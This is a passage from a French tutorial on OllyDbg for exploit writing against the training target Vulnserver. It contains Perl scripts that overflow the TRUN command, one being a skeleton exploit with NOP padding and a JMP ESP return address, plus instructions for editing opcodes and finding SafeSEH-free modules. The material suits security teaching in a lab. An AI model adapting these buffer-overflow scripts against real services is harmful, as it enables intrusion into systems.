$baddata .= "A" x 5000; # appends (.=) 5000 "A" characters
to $baddata
$socket = IO::Socket::INET->new( # setup TCP socket –
$socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # command line variable 1 – IP
Address
PeerPort => "$ARGV[1]" # command line variable 2 – TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($sd, 1024); # Receive 1024 bytes data from
$socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($memdata); # send $memdata variable via
$socket
$socket->recv($sd, 1024); # Receive 1024 bytes data from
$socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($baddata); # send $baddata variable via
$socket
Démarrez vulnserver.exe dans OllyDbg et appuyez sur F9 pour
permettre au programme de s'exécuter. Exécutez ensuite ce script
comme suit.
C:\Work>perl sendextradata.pl 127.0.0.1 9999
Une exception doit être déclenchée dans le débogueur.
Pour rechercher maintenant les données supplémentaires que nous
avons envoyées au programme (cette grande chaîne de caractères
majuscules «B»), ouvrez le menu View (Affichage) et sélectionnez
Memory (Mémoire), ou appuyez sur Alt-M ou le bouton pour
afficher la ‘Map Mémoire’ dans OllyDbg.
Maintenant, faites un clic droit sur la Map mémoire et sélectionnez
Search (Rechercher) dans le menu, ou appuyez sur Ctrl-B.
Cela fera apparaître la fenêtre de recherche. Entrez un grand nombre
de caractères majuscules B dans la zone ASCII et assurez-vous de
cocher l'option Case sensitive (Casse sensible) avec la petite case près
du bas de la fenêtre. Voir la capture d'écran ci-dessous :
Maintenant, cliquez sur OK, et vous devriez bientôt être accueilli par
une fenêtre du contenu de la mémoire, montrant un grand nombre de
caractères B d'affilée. Développez un peu la fenêtre pour voir combien
il y en a. Voir la capture d'écran ci-dessous.
Dans cette vue particulière, vous pouvez également voir le début de la
commande TRUN que nous avons utilisée pour provoquer l'exception.
Ici, nous avons confirmé que nous avons un moyen d'insérer des
données supplémentaires dans l'application de manière à ce qu'elles
soient toujours disponibles en mémoire au moment où nous avons
provoqué cette exception particulière.
Cela signifie que si nous devions fournir du contenu supplémentaire à
l'application afin de réaliser une modification de code pour ce bogue
vulnérable, nous pourrions utiliser la méthode illustrée dans le script
sendextradata.pl pour fournir ces données.
Travailler dans l’image mémoire
Les fenêtres d’image mémoire dans OllyDbg sont extrêmement utiles
lors de l'écriture de modifications, car elles offrent plusieurs façons
d'afficher et d'accéder aux données stockées dans la mémoire d'un
programme. Cette section examinera un certain nombre de façons dont
nous pouvons travailler dans les fenêtres de l’image mémoire afin de
manipuler et traiter efficacement ces données.
Cette section est composée des sous-sections suivantes :
Différentes vues de l’image mémoire.
Suivi en Map Mémoire.
Copie des données de l’image mémoire.
Différentes vues de l’image mémoire
Pendant l'écriture d’une modification logicielle, il peut souvent être
utile de pouvoir représenter des données dans le débogueur dans une
variété de formats différents, et parfois de copier ces données hors du
débogueur pour les traiter avec d'autres programmes. Heureusement,
OllyDbg fournit un certain nombre de formats d'affichage différents
pour les fenêtres d’image mémoire (à la fois celui dans le volet
inférieur gauche de la vue CPU et ceux accessibles en double-cliquant
sur les entrées de la map mémoire). Cela nous donne des options sur la
façon dont nous pouvons afficher le code exécutable d'un programme,
les données générées par le programme et les données fournies par les
utilisateurs d'un programme, qui seront toutes stockées en mémoire.
De plus, les fenêtres d’image mémoire, ainsi que la plupart des autres
vues d'OllyDbg, permettent de copier facilement les données dans le
presse-papiers, et parfois d'écrire dans un fichier sur le disque, pour
qu'elles puissent être facilement utilisées dans d'autres programmes.
Les différents modes d'affichage dans les fenêtres d’image mémoire
sont accessibles via le menu contextuel. Examinons quelques-unes des
vues qui nous seront les plus utiles en tant que modificateur logiciel.
L'un des modes d'affichage les plus couramment utilisés pour la
mémoire dans OllyDbg, en particulier dans la vue CPU, est la vue «
Hex/ASCII (8 octets) », qui montre à la fois la représentation Hexa et
ASCII des données, avec 8 octets par ligne. Vous pouvez voir une
capture d'écran de ce mode d'affichage ci-dessous, ainsi que l'option
de menu utilisée pour le sélectionner (clic droit, Hex Hex / ASCII
(8 octets)). Il existe également un mode d'affichage « Hex / ASCII
(16 octets) » qui est essentiellement le même, mais 16 octets de
données sont affichés par ligne au lieu de 8, et vous pouvez également
choisir d'afficher le texte en Unicode au lieu de l’ASCII. Cette capture
d'écran représente une fenêtre de map mémoire ouverte à partir de la
map mémoire, mais rappelez-vous que ce mode d'affichage s'applique
également au volet mémoire dans la vue CPU
La vue « Texte » représente les données sous forme de texte pur, en
utilisant le format de codage ASCII (simple octet) ou Unicode (double
octet). La vue précédente montrait également la représentation ASCII
(ou Unicode) des données, mais elle le faisait parallèlement à la
représentation Hex. Si vous devez afficher uniquement le texte (peut-
être parce que vous souhaitez copier uniquement le texte et non les
données hexadécimales), c'est le mode que vous pouvez choisir. Pour
sélectionner la vue "Texte", faites un clic droit et sélectionnez l'entrée
appropriée dans le sous-menu Texte. Voir la capture d'écran suivante
pour voir à quoi ressemble la vue texte ASCII (32 caractères), ainsi
que l'entrée de menu que vous pouvez choisir pour la sélectionner.
La vue « Disassemble » (Désassemble) est la dernière que nous
examinerons. Cela interprète les données de la mémoire comme du
code d'assemblage, comme indiqué dans le volet supérieur gauche de
la vue CPU. La capture d'écran ci-dessous montre la vue
"Désassembler" ainsi que l'option de menu utilisée pour la
sélectionner (clic droit et choisissez Disassemble dans le menu).
Lorsque vous ouvrez une fenêtre d’image mémoire à partir de la map
mémoire, OllyDbg choisit souvent l'une des vues ci-dessus pour vous
automatiquement en fonction du type de contenu qu'il pense être
contenu dans cette zone de mémoire. Par exemple, il utilisera la vue «
Désassembler » pour les zones censées contenir du code exécutable.
Suivi en Map Mémoire
Cliquer directement sur diverses pages de mémoire de la map
mémoire nous permet d'accéder à n'importe quelle zone de la mémoire
que nous aimons, mais que se passe-t-il si nous voulons afficher le
contenu de la mémoire aux emplacements stockés dans l'un des
registres du processeur ou dans les entrées de la pile ?
Que faire si nous voulons afficher le code à partir du volet de
désassembleur dans la pile ?
Eh bien, nous pouvons le faire en cliquant avec le bouton droit sur le
registre approprié, l'entrée de pile ou les instructions désassemblées
dans la vue CPU, et en sélectionnant l'option " Follow in Dump ".
Le volet de l’image mémoire dans la vue CPU affichera alors la
section de la mémoire commençant par l'adresse représentée par
l'élément que vous avez sélectionné.
Essayez ceci maintenant, en redémarrant vulnserver dans le
débogueur, en cliquant avec le bouton droit sur la première entrée
dans le volet de désassemblage, et en sélectionnant
Follow in Dump Selection.
Le volet de l’image mémoire affichera alors l'adresse mémoire de
l'instruction que vous venez de sélectionner, les octets constituant
cette instruction étant mis en surbrillance.
Vous pouvez également sélectionner plusieurs instructions et essayer
la même chose - les données représentant toutes les instructions que
vous avez sélectionnées seront mises en évidence dans l’image
mémoire.
Vous pouvez également utiliser l'option Follow in Dump sur la pile.
Cliquez avec le bouton droit sur l'adresse d'une entrée de pile (colonne
de gauche dans le volet de pile), pour afficher cette section de la pile
dans l’image mémoire.
Cliquez avec le bouton droit sur la valeur d'une entrée de pile
(deuxième colonne dans le volet de pile), pour afficher l'emplacement
de mémoire que cette entrée contient.
Veuillez noter que dans le cas d'entrées de pile, l'option Follow in
Dump ne sera disponible que si l'entrée de pile contient une adresse
mémoire valide.
L'option Follow in Dump fonctionne également avec les registres
CPU. Comme pour les entrées de pile, l'option n'apparaîtra que si le
registre contient une adresse mémoire valide.
Essayez vous-même l'option Follow in Dump sur la pile et sur les
registres du processeur pour vous faire une idée de son
fonctionnement.
L'une des utilisations les plus importantes de cette option Follow in
Dump lors de l'écriture de modification de code est d'aider à trouver
des entrées de pile ou des registres CPU qui pointent vers des zones de
mémoire que nous contrôlons lorsqu'une exception se produit.
Cela donnera un pointeur sur la façon dont nous pouvons diriger
l'exécution du code dans ces zones de mémoire.
Par exemple, si nous voyons que lorsqu'une exception se produit, le
registre ESP pointe vers la mémoire contenant les données que nous
avons envoyées à l'application, nous pourrions utiliser une instruction
« JMP ESP » pour rediriger l'exécution du code vers cet
emplacement.
Une autre utilisation potentielle de cette option est de nous permettre
de visualiser, sélectionner et copier facilement les instructions
exécutées par le processeur de différentes manières - une capacité qui
nous est offerte par la flexibilité des options d'affichage de la vue
d’image mémoire par opposition à certaines des d'autres vues dans
OllyDbg. Cela peut être très utile lorsque nous voulons confirmer que
le shellcode que nous avons envoyé à une application n'a pas été
modifié pendant le transfert.
Copie des données de l’image mémoire
Il existe deux façons différentes de copier des données sélectionnées à
partir de l’image mémoire que je voudrais couvrir ici.
La première méthode copie les données dans un format textuel, tout
comme elles sont affichées dans le débogueur lui-même.
Lorsque vous utilisez cette méthode, la sortie dépend du mode
d'affichage que vous avez choisi.
Si vous utilisez le mode d'affichage " Hex / ASCII (8 octets) ", vous
obtiendrez l'adresse, l’image hexadécimal et la représentation ASCII,
mais si vous utilisez la vue "Disassembly" (Désassembler), vous
obtiendrez l'adresse, l’image hexadécimal, le désassemblage et un
commentaire.
Comme je l'ai dit, il s'agit essentiellement d'une représentation
textuelle de ce que vous voyez à l'écran.
Pour copier de cette manière, sélectionnez certaines données à l'aide
de la souris, puis cliquez avec le bouton droit et sélectionnez Copy
To clipboard (Copier Vers le presse-papiers) ou Copy To file
(Copier Vers un fichier), selon l'endroit où vous souhaitez que les
données aillent.
Pour obtenir les données dans le bon format, vous devez évidemment
régler votre mode d'affichage, comme décrit précédemment, sur le
paramètre approprié.
Vous constaterez que la plupart des fenêtres d'affichage d'OllyDbg
offrent également des variantes de cette option, donc si vous voulez
une copie texte de presque tout ce que vous voyez à l'écran, vous
pouvez probablement l'obtenir en sélectionnant les données et en
cliquant avec le bouton droit.
Comme exemple de ce à quoi cela ressemble, voici un exemple de
texte copié à partir de l’image mémoire en mode désassembleur.
00401130 > $ 55 PUSH EBP
00401131 89E5 MOV EBP,ESP
00401133 83EC 18 SUB ESP,18
00401136 C70424 0100000>MOV DWORD PTR SS:[ESP],1
La deuxième méthode pour copier des données est la copie binaire.
Cette méthode de copie est uniquement disponible dans les vues
d’image mémoire et de désassembleur et copie essentiellement dans le
presse-papiers une représentation délimitée par des espaces des
valeurs hexadécimales pour chaque octet sélectionné.
Ceci est disponible en sélectionnant certaines données dans l’image
mémoire, en cliquant avec le bouton droit et en sélectionnant Binary
Binary copy (Binaire Copie binaire).
Ce qui suit montre le texte généré en effectuant une copie binaire sur
les mêmes données qui ont été utilisées pour produire l'exemple de
copie basé sur le texte ci-dessus.
55 89 E5 83 EC 18 C7 04 24 01 00 00 00
L'accès aux données dans ces formats peut s'avérer très utile lors de
l'écriture de modifications logicielles. J'utilise souvent le format de
copie binaire pour alimenter les données dans un script qui vérifie si le
shellcode envoyé à un programme a été modifié.
Modification du code, de la mémoire et des registres
Une fonctionnalité, particulièrement intéressante d'OllyDbg, vous
permet de modifier les valeurs de la mémoire, des registres et de la
pile pendant le débogage d'un programme.
Ceci est extrêmement utile lors de l'écriture de modification de code
ou de shellcode car elle vous permet de modifier rapidement les
données en mémoire après une exception si vous réalisez que vous
avez fait une erreur dans les données ou le shellcode déjà fournis à
l'application.
Elle fournit également un moyen très rapide de trouver des opcodes
pour des instructions particulières si vous devez ajouter un shellcode
personnalisé à un code modifié.
Pour démontrer comment cela peut fonctionner, nous utiliserons le
code squelette d'exploitation suivant - enregistrer sous
skeletonexploit.pl.
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."
$baddata .= "\x90" x 2006; # append 2006 \x90 bytes to
$baddata
$baddata .= pack('V1', 0x625011AF); # address of "JMP ESP"
instruction from essfunc, little endian
$baddata .= "\xcc" x 100; # append 100 \xcc INT3
breakpoints to $baddata
$socket = IO::Socket::INET->new( # setup TCP socket –
$socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # command line variable 1 – IP
Address
PeerPort => "$ARGV[1]" # command line variable 2 – TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($sd, 1024); # Receive 1024 bytes data from
$socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($baddata); # send $baddata variable via
$socket
Ce code est essentiellement le début d'une modification de code pour
une vulnérabilité associée à la première exception que nous avons
examinée précédemment dans ce guide.
Lorsqu'il est utilisé contre vulnserver exécuté dans le débogueur, il
doit rediriger l'exécution du code vers le premier des 100 caractères « \
xCC » envoyés au programme.
Ne vous inquiétez pas de la façon dont j'ai écrit ce code pour le
moment, ni de la manière dont la redirection vers l'instruction INT3
s'est réellement produite, je couvrirai cela dans un prochain article.
Pour l'instant, redémarrez simplement Vulnserver dans le débogueur,
utilisez F9 pour le lancer, puis exécutez le script comme suit :
C:\Work>perl skeletonexploit.pl 127.0.0.1 9999
Votre débogueur doit suspendre l'exécution, avec le volet de
désassembleur montrant quelque chose comme ci-dessous.
Tous ces caractères « \xCC » que nous avons envoyés au programme
en utilisant le script skeletonexploit.pl sont affichés directement dans
le débogueur, et notre programme les exécute en fait sous forme de
code.
Si nous le voulions, nous pourrions remplacer les caractères « \ xCC »
dans notre script skeletonexploit.pl par du code qui remplirait une
autre fonction, mais pour le moment, ce que nous voulons faire, c'est
utiliser cette opportunité pour montrer comment nous pouvons
modifier directement les données dans le débogueur.
Le « \ xCC » est bien sûr l'opcode pour une instruction trap du
débogueur INT3, comme mentionné dans la section précédente de ce
tutoriel sur l'assembleur, et c'est pourquoi le débogueur s'est arrêté
lorsqu'il a exécuté la première de ces instructions.
La première méthode d'édition de code que nous allons essayer est
l'assembleur direct, où nous sélectionnons une instruction et
fournissons du code d'assembleur à placer à cet emplacement.
Si le code assembleur que nous fournissons prend plus de place que
l'instruction que nous avons sélectionnée, les instructions suivantes
supplémentaires seront écrasées, et si l'instruction finale écrasée a des
octets restants (par exemple, si l'instruction finale fait 4 octets mais
nous n'en avons besoin que de deux octets pour terminer l'instruction
que nous ajoutons), tout espace disponible sera rempli par des NOP si
la case « Fill with NOP » (Remplir de NOP) est laissée cochée.
Pour l'essayer, double-cliquez sur l'instruction INT3 actuellement
sélectionnée (assurez-vous de cliquer sur l'instruction elle-même, pas
sur les colonnes d'adresse, d'opcode ou de commentaire, car cela aura
un effet différent).
Dans la fenêtre Assembler qui apparaît, tapez ce qui suit.
ADD EAX,5
Voir la capture d'écran suivante.
Appuyez sur le bouton Assemble (Assembler), puis sur Cancel
(Annuler) pour vous débarrasser de la prochaine fenêtre Assembler
qui apparaît.
Vous devriez maintenant voir quelque chose comme ce qui suit dans
votre volet de désassembleur.
La nouvelle instruction est affichée en rouge.
Si vous étiez curieux de connaître les opcodes qui compromettent
cette instruction d'assemblage, vous saurez maintenant qu'ils sont :
" \x83 \xC0 \x05 "
Vérifiez la deuxième colonne de gauche dans le volet du
désassembleur. C’est séparé dans l'affichage, avec un espace entre le
"C0" et le "05", qui indique que " \x83 \xC0 " est le "ADD EAX", et
le " \x05 " est la valeur à ajouter (au format hexadécimal).
Voici une possibilité de découvrir rapidement des opcodes pour des
instructions d'assembleur données, afin que vous puissiez les utiliser
dans vos codes, c’est l'un des avantages de cette fonctionnalité
d'édition de code en tant que rédacteurs de modification de code.
Prenez note de la valeur stockée dans le registre EAX, puis appuyez
sur la touche F7 pour parcourir l'exécution de cette instruction
nouvellement ajoutée.
Vous devriez alors voir que la valeur de EAX change de 5, et le
registre EAX sera coloré en rouge pour indiquer que sa valeur a
changé lors de l'exécution de la dernière instruction.
La deuxième méthode d'édition de code que nous allons essayer
d'utiliser est une édition binaire directe des données dans le volet de
désassemblage.
Cela peut être un moyen rapide pour nous de traduire les valeurs
d'opcode en leurs instructions de langage assembleur équivalentes, et
peut également nous permettre de modifier les valeurs des instructions
existantes (pour faire des tests, par exemple).
Essayons maintenant. Cliquez avec le bouton gauche de la souris pour
sélectionner l'instruction suivante dans le volet du désassembleur
après l'instruction « ADD EAX, 5 » que nous venons de rajouter (cette
instruction devrait avoir son adresse mise en évidence avec un fond
noir pour indiquer que ce sera la prochaine instruction exécutée par le
CPU).
Le clic droit, et dans le menu qui apparaît, sélectionnez Binary
Edit (Binaire-> Modifier), ou vous pouvez appuyer sur Ctrl-E.
Dans la zone Modifier le code qui apparaît, remplacez les données
hexadécimales existantes de «CC» par «54», comme illustré ci-
dessous. De notre leçon d'assemblage plus tôt dans ce tutoriel, nous
savons que l'opcode de " \x54 " se traduit par une instruction :
" PUSH ESP ".
Cliquez sur OK. Une instruction PUSH ESP apparaît dans le volet de
désassemblage :
Sélectionnez maintenant la prochaine instruction INT3,
immédiatement après celle que nous venons d'éditer, et effectuez une
autre édition binaire, cette fois en remplaçant « CC » par « C3 ».
Comme nous l'avons appris précédemment, cet opcode représente un «
RETN ».
Cliquez sur OK.
Votre volet de désassembleur doit ressembler à ça :
Appuyez maintenant sur F7 pour exécuter l'instruction PUSH ESP.
Vous devriez remarquer que la valeur de ESP sera poussée sur la pile.
Appuyez à nouveau sur F7.
L'instruction RETN s'exécutera, ce qui POP la première entrée de la
pile et en redirigera l'exécution.
Tout cela était très bien et bien, mais je suis sûr que vous vous
demandez maintenant pourquoi devriez-vous vous soucier de l'édition
binaire alors que l'assembleur direct semble tellement plus facile.
Eh bien, il y a au moins un domaine dans lequel l'utilisation des
opcodes est beaucoup plus efficace - les JMP et les CALL relatifs.
Disons que nous voulons ajouter du code pour effectuer un JMP de 8
octets à l'avance. Si vous vous souvenez de notre leçon précédente, les
instructions JMP ont été spécifiées en utilisant une adresse absolue
dans l'assembleur. Pour nous éviter d'avoir à calculer l'adresse 8 octets
à l'avance, nous pouvons simplement entrer directement l'opcode.
Sélectionnez le haut « INT3 » et les commandes « ADD, EAX, 5 »
dans le volet du désassembleur, puis cliquez avec le bouton droit et
sélectionnez Binary Edit (Binaire Modifier) dans le menu.
Le texte suivant apparaîtra :
Modifiez les valeurs hexadécimales dans la zone inférieure en :
« \xEB \x08 \x90 \x90 ».
Il s'agit de « \xEB \x08 » pour le « JMP 8 », avec deux NOP ajoutés à
la fin :
Cliquez sur OK.
Votre volet de désassembleur s'affichera comme ci-dessous :
OK, il a pris les opcodes que nous lui avons fournis et interprété cela
comme un " JMP SHORT " et a fourni une adresse absolue en
mémoire à laquelle accéder - nous n'avons pas eu besoin de calculer
l'adresse nous-mêmes pour ajouter ce code au débogueur.
En plus d'être utile pour les JMP et les appels relatifs, nous pouvons
également utiliser cette capacité d'OllyDbg pour désassembler des
données binaires chaque fois que nous avons besoin de trouver
l'équivalent d'assemblage de valeurs d'octets particulières.
Cela peut être utile lorsque nous devons trouver les instructions qui
contourneront les restrictions de caractères, afin d'atteindre des
objectifs tels que le décodage du shellcode ou la formation d'une série
de NOP (NOP Slide).
Bien que j'aie démontré l'édition des données uniquement dans le
volet du désassembleur, cela fonctionne également ailleurs dans la vue
CPU, vous permettant de modifier les valeurs de registre, les valeurs
d'indicateur, les valeurs de pile ainsi que toutes les données auxquelles
vous pouvez accéder à partir du volet d’image mémoire.
Dans les volets d’image mémoire et de désassembleur, vous avez
même la possibilité de faire des copies/coller binaires si le besoin s'en
fait sentir.
Ces fonctionnalités peuvent être très utiles lorsque vous écrivez et
testez un shellcode personnalisé.
Une mise en garde importante à mentionner concernant la
modification des données dans le débogueur de cette manière est que
toutes les modifications apportées de cette manière ne s'appliquent pas
en dehors de la session de débogage.
Ceci est utile comme support de fonctionnalité lors de la création d'un
code test, mais ne peut pas être utilisé dans le produit fini réel.
Aide au calcul des différences d'adresse relative
Si vous devez calculer la distance pour une instruction JMP ou
CALL relative, ou déterminer la taille d'une zone en mémoire pour
voir si elle est suffisamment grande pour le shellcode, vous pourrez
peut-être utiliser la fonction d'adressage de la mémoire relative
d'OllyDbg.
Double-cliquez sur une entrée d'adresse n'importe où dans OllyDbg, et
la colonne d'adresse passera de l'affichage des adresses de mémoire
absolue à l'affichage du décalage relatif de chaque entrée par rapport à
l'adresse initialement cliquée.
La capture d'écran ci-dessus montre le volet de désassemblage après
avoir double-cliqué sur la deuxième adresse à partir du haut - celle
contenant la première instruction NOP en rouge.
Cette adresse particulière a ensuite été marquée avec l'indicateur
«==>», et les autres adresses sont marquées avec leur distance relative
par rapport à cette position.
L'entrée surlignée en gris est l'endroit où la première instruction JMP
SHORT atterrira (8 octets à partir du début de l'instruction suivant le
JMP).
Cette astuce d'adressage relatif fonctionne également dans les vues
d’image mémoire et le volet de la pile.
Essayez-le lorsque vous devez calculer les différences de mémoire !
Les Plugins (Utilitaires additionnels)
OllyDbg dispose d'une architecture de plugin qui permet à des tiers
d'ajouter des fonctionnalités au débogueur en fournissant le code
nécessaire dans un fichier dll qui peut être placé dans le répertoire
OllyDbg.
Il existe un certain nombre de plugins OllyDbg disponibles en
téléchargement à partir du site OpenRCE à l'URL suivante :
http://www.openrce.org/downloads/browse/OllyDbg_Plugins
Dans cette section, je couvrirai brièvement l'utilisation d'un plugin
particulièrement utile lors de l'écriture de code SEH : OllySSEH.
Ce plugin est disponible ici : Télécharger et vous permet de voir
facilement quels modules chargés avec une application peuvent être
utilisés pour fournir des adresses de remplacement lors de l'écriture
d'un code SEH.
Pour installer le plug-in, prenez simplement le fichier OllySSEH.dll
du répertoire \ollysseh\Project\Release\ dans le fichier zip et copiez-
le dans le répertoire principal du programme OllyDbg.
Redémarrez ensuite OllyDbg.
Dans la section, Plugin, maintenant vous devez voir SafeSEH :
Pour utiliser le plugin efficacement, vous démarrez votre programme
cible et utilisez la touche F9 pour lui permettre de s'exécuter dans le
navigateur.
Les modules configurés pour se charger avec le programme seront
chargés dans la mémoire et le débogueur, ce qui leur permettra d'être
analysés par le plugin.
Une fois le programme en cours d'exécution, utilisez le menu Plugins,
SafeSEH Scan / SafeSEH Modules option pour scanner les
modules.
Faire cela pour vulnserver.exe affiche la sortie suivante.
Les entrées en rouge, qui ont un mode SEH « /SafeSEH OFF » sont
les plus appropriées pour une utilisation avec les modifications de
codes SEH - n'importe quelle adresse de ces modules peut être utilisée
comme une adresse de remplacement SEH.
Ces plugins OllyDbg ne fonctionneront pas dans « Immunity
Debugger » ni dans « OllyDbg version 2 ».
Immunity Debugger possède son propre moteur Python, et un certain
nombre de scripts de plugins basés sur Python ont été fournis qui
permettent de rassembler des types similaires d'informations.
Vous devez jeter un œil sur les autres plugins utiles OllyDbg, qui
peuvent vous aider dans votre travail de modification de code.
Le programme OllyDbg nous sera encore utile lorsque nous étudions
d’autres futurs articles exploitant les vulnérabilités du programme
Vulnserver.